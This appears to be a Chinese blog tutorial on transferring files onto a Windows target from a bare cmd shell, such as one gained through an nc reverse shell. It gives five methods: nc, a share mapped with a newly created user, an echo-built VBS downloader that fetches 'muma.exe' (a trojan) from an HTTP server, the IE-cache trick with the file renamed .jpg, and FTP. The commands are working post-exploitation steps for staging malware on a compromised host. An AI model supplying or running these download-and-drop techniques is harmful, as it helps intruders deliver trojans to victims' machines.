可能某些时候你喜欢只通过cmd来下载文件，抑或某些特定情况只有cmd界面可以使用(nc反弹shell)，在一台没安装curl等第三方下载器的windows的cmd似乎不是很方便传送文件，这里记录5种方法（nc，文件共享，写入vbs结合http服务下载，通过ie缓存下载,ftp服务下载）
1.nc
适用于通过nc反弹得到界面的情况
nc -v -l -p 4141 >mubiao.exe
::目的端打开一个4141端口接受传来的数据并写入mubiao.exe
nc -v 目标地址 4141 < C://wenjian.exe
::传送端
结果：速度慢效率低，还可能失败
2.文件共享(局域网环境或者VPN)
传送端新建用户及密码(为啥新建懂得都懂),创建共享文件夹，设置路径权限什么的和普通一样，关键是如何cmd来完成文件共享的接收，命令如下
net use M: 共享路径 密码 /use:用户名
::该命令把共享文件夹映射到M:位置，注：共享路径以//开头，返回结果为命令成功完成就ok了
M:/
::进入M驱动器，dir可以看到想传送的文件，之后就copy就可以了
3. 写入vbs结合http服务下载
vbs简直就是windows的另一shell(原谅我的用词不准确),cmd难以echo>的方法写入exe文件，但是vbs却是可以轻松写入并执行，学好vbs对于网络攻防搞windows确实很重要。
话不多说，具体操作，先把要发送的文件放到http服务器上，自己一键化搭建推荐phpstudy，确保能通过ie访问，可以用start加文件网络地址测试，搭建完毕后就是目标端vbs的写入及执行了，这里提供一个例子
echo Set post=CreateObject("Msxml2.XMLHTTP")>>1.vbs
echo post.Open "GET","http://192.168.44.1/muma.exe(网络路径)">>1.vbs
echo post.Send()>>1.vbs
echo Set aGet = CreateObject("ADODB.Stream")>>1.vbs
echo aGet.Mode = 3 >>1.vbs
echo aGet.Type = 1 >>1.vbs
echo aGet.Open()>>1.vbs
echo aGet.Write(post.responseBody)>>1.vbs
echo aGet.SaveToFile "muma.exe(保存的名字)",2 >>1.vbs
1.vbs
::几个需要注意的地方，数字>>之间要加空格，网络路径和最后保存的文件名不必一致
::写完可以使用type 1.vbs检查
::最后删除可以用del 1.vbs
4. 通过ie缓存下载
缓存是一个非常有意思的东西，对于音乐软件，以前缓存音乐被拷贝出来实在常见，不过现在不付费缓存都缓存不了，还是挺好的
言归正传，ie作为电脑自带的鸡肋浏览器，在本任务中还是能起不少作用。要让ie把文件缓存下来只需要一个合适的后缀名，例如jpg,在http服务器将你要传送的文件命名为xx.jpg
目标端访问文件
start 文件网络路径
::适用于默认浏览器是ie,如果不是则用 ie浏览器绝对路径 文件网络路径
::执行之后即已经被ie缓存
taskkill /f /t /im iexplore.exe
::关闭ie进程避免被占用
cd C:\Documents and Settings\AlunX\Local Settings\Temporary Internet Files
::ie缓存文件夹位置
cd Content.IE5
dir /a
::/a是显示所有文件夹，会看到随机名称的文件夹，找到缓存文件所在位置cd进入
dir /a
::查看缓存文件名，例如xx[1].jpg
copy xx[1].jpg 目的位置
5. ftp服务下载
传送端搭建ftp服务器，目标端访问下载，ftp命令无需多讲
网友评论